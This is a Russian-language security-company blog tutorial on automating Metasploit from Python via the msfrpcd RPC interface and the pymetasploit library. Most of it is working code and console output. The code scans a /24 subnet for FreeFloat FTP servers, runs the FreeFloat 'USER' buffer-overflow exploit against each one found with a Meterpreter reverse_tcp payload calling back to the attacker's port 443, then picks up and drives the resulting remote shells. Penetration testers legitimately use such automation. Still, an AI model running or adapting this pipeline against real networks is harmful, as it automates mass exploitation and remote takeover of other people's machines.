Автоматизация действий атакующего, используя metasploit и Python

в 8:13, , рубрики: Metasploit, python, автоматизация, Блог компании Перспективный мониторинг, информационная безопасность

Известно, что метасплойт написан на Ruby и не поддерживает скрипты, написанные на Python. Несмотря на это у метасплойта есть двусторонний RPC–интерфейс, при помощи которого можно запускать задачи.

Есть две библиотеки, позволяющие взаимодействовать с remote procedure call (RPC) metasploit — это pymetasploit от allfro и python-msfrpc от SpiderLabs. В данной статье используется первая. В интернете и репозитарии github pymetasploit есть примеры запуска эксплойтов и взаимодействия с установленными сессиям, однако мне не удалось найти примеров запуска сканеров и получения вывода для дальнейшей обработки результатов. Один из вариантов будет рассмотрен далее.

Установим библиотеку:

git clone https://github.com/allfro/pymetasploit

На момент написания статьи у меня не работало подключение к msfrpc без данного коммита.

cd pymetasploit
python setup.py install

Запустим RPC листенер:

root@kali-template:~# msfrpcd -h

Usage: msfrpcd <options>

OPTIONS:

    -P <opt>  Specify the password to access msfrpcd
    -S        Disable SSL on the RPC socket
    -U <opt>  Specify the username to access msfrpcd
    -a <opt>  Bind to this IP address
    -f        Run the daemon in the foreground
    -h        Help banner
    -n        Disable database
    -p <opt>  Bind to this port instead of 55553
    -t <opt>  Token Timeout (default 300 seconds)
    -u <opt>  URI for Web server

root@kali-template:~# msfrpcd -P password -n -f -a 127.0.0.1
[*] MSGRPC starting on 127.0.0.1:55553 (SSL):Msg...
[*] MSGRPC ready at 2018-03-28 14:34:10 +0300.

Теперь Metaslpoit RPC слушает локально на порту по умолчанию 55553.

Задача для автоматизации

Допустим имеется подсеть 192.168.0.0/24. Известно, что в ней доступны несколько ftp серверов. Необходимо проверить подвержен ли какой-либо из них уязвимости Freefloat FTP Server — 'USER' Remote Buffer Overflow. При обнаружении проэксплуатировать уязвимость и получить шелл уязвимой машины.

Импортируем необходимые классы

from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole

Для взаимодействия с RPC достаточно только MsfRpcClient, но для получения вывода сканирующих модулей необходимо взаимодействие с консолью метасплойта, поэтому также импортируем MsfRpcConsole.

Подключимся к RPC листенеру, передадим пароль. Порт и адрес используются по умолчанию.

client = MsfRpcClient('password')

Подключимся к консоли metasploit, по умолчанию сообщения консоли выводятся на стандартный вывод и отображаются на экране. Чтобы «поймать» эти данные и использовать в дальнейшем, класс MsfRpcConsole использует callback функцию, которая передается через параметр cb=. Таким образом, каждый раз, когда в консоль будут приходить данные для отображения, будет вызываться функция read_console.

console = MsfRpcConsole(client, cb=read_console)

Данные поступают в таком формате:

In [6]: console.console.read()
Out[6]: {'busy': False, 'data': '', 'prompt': 'msf > '}

Определим функцию read_console, чтобы полученные данные были доступны из основного кода программы. Определим две глобальные переменные:

  • global_console_status, чтобы отслеживать, выполняется ли еще модуль;
  • global_positive_out для накопления положительных результатов.

Функция read_console будет присваивать значение ключа ´busy´ глобальной переменной global_console_status и проверять, содержится ли символ [+], которыми обычно помечается положительный результат исполнения модуля, в данных по ключу ´data´. При положительном результате строка, содержащая [+] добавляется к списку global_positive_out:

global global_positive_out
global_positive_out = list()
global global_console_status
global_console_status = False

def read_console(console_data):
    global global_console_status
    global_console_status = console_data['busy']
    print global_console_status
    if '[+]' in console_data['data']:
	sigdata = console_data['data'].rstrip().split('n')
	for line in sigdata:
	    if '[+]' in line:
		global_positive_out.append(line)
    print console_data['data']

Теперь выполним в консоли команды, необходимые для запуска auxiliary модуля ftp_version.

console.execute('use auxiliary/scanner/ftp/ftp_version')
console.execute('set RHOSTS 192.168.0.0/24')
console.execute('set THREADS 20')
console.execute('run')
time.sleep(5)

Будем ждать завершения выполнения модуля, проверяя каждые 5 секунд занята ли консоль:

while global_console_status:
    time.sleep(5)

После завершения работы модуля обработаем полученные результаты и извлечем IP-адреса хостов, подверженных уязвимости:

targets = list()
for line in global_positive_out:
    if 'FreeFloat' in line:
    	ip = re.findall(r'[0-9]+(?:.[0-9]+){3}', line)[0]
	targets.append(ip)

Для эксплуатации найденных уязвимостей создадим объект exploit. Чтобы посмотреть, какие опции есть у данного эксплойта и какие из них обязательные, можно использовать метод exploit.options и exploit.required. Установим LPORT, LHOST и EXITFUNC:

In [4]: exploit.required
Out[4]: ['RHOST', 'SSLVersion', 'ConnectTimeout', 'FTPTimeout', 'RPORT']

In [5]: exploit.options
Out[5]: 
['FTPDEBUG',
 'ContextInformationFile',
 'WORKSPACE',
 'FTPPASS',
 'FTPUSER',
 'CHOST',
 'RHOST',
 'Proxies',
 'DisablePayloadHandler',
 'TCP::send_delay',
 'SSLVersion',
 'ConnectTimeout',
 'CPORT',
 'SSLVerifyMode',
 'FTPTimeout',
 'VERBOSE',
 'SSLCipher',
 'SSL',
 'WfsDelay',
 'TCP::max_send_size',
 'EnableContextEncoding',
 'RPORT']

exploit = client.modules.use('exploit', 'windows/ftp/freefloatftp_user')
pl = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
pl['LPORT'] = 443
pl['LHOST'] = localhost
pl['EXITFUNC'] = 'thread'

Для запуска необходимо вызвать метод execute(), передав ранее инициализированный payload:

for target in targets:
	exploit['RHOST'] = target
	ftpsession = exploit.execute(payload=pl)
	time.sleep(5)

При успешном запуске ключ job_id будет содержать номер, при неуспешном — None.

{'job_id': 1, 'uuid': 'uv0ontph'}

При получении сессии client.sessions.list будет содержать номер сессии и параметры, характерные для данной сессии в нижеприведенном формате:

{1: {'info': 'SEMYON-FE434C23\Administrator @ SEMYON-FE434C23', 'username': 'root', 'session_port': 21, 'via_payload': 'payload/windows/meterpreter/reverse_tcp', 'uuid': 'azxxoup4', 'tunnel_local': '192.168.0.92:443', 'via_exploit': 'exploit/windows/ftp/freefloatftp_user', 'arch': 'x86', 'exploit_uuid': 'uv0ontph', 'tunnel_peer': '192.168.0.90:4418', 'platform': 'windows', 'workspace': 'false', 'routes': '', 'target_host': '192.168.0.90', 'type': 'meterpreter', 'session_host': '192.168.0.90', 'desc': 'Meterpreter'}}

В данном случае, в качестве полезной нагрузки эксплойта была выбрана обратная сессия метерпретера. Для того, чтобы определить пришло ли соединение, необходимо проверить есть ли новые сессии в client.sessions.list. Ключом в данном случае будет uuid эксплойта, который должен быть равен exploit_uuid сессии. Для реализации определим две функции для поиска новых сессий, compare_sessions, которая будет ждать указанное время и сравнивать старый список сессий с текущим и get_session, которая будет возвращать сессию соотвествующую запущенному эксплойту.

def get_session(sessions_list, exploit_job):
    if not sessions_list:
        return False
    for session in sessions_list:
        if sessions_list[session]['exploit_uuid'] == exploit_job['uuid']:
            return session
    return False

def compare_sessions(old_sessions_list, seconds = 120):
    flag = False
    while not flag:
        if seconds == 0:
            return False
        if client.sessions.list != old_sessions_list:
            flag = True
        time.sleep(1)
        seconds -= 1
    current_sessions = client.sessions.list
    all(map(current_sessions.pop, old_sessions_list))
    return current_sessions

Сохраним текущие сессии, запустим эксплойт:

old_sessions = client.sessions.list
ftpsession = exploit.execute(payload=pl)
time.sleep(5)
ftpsessioncode = get_session(client.sessions.list, ftpsession)
if not ftpsessioncode:
    sys.exit()

После получения сессии мы можем взаимодействовать с ней, вызвая client.sessions.session() и передавая номер сессии. При помощи методов shell.read(), shell.write(), shell.runsingle() можно передавать команды и читать ответ из метерпретер сессии.

shell = client.sessions.session(ftpsessioncode)
shell.read()

Используя описанную методику, можно запускать любые имеющиеся модули и получать вывод из консоли.

Код доступен в гитхаб репозитарии.

Автор: vmvarga

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js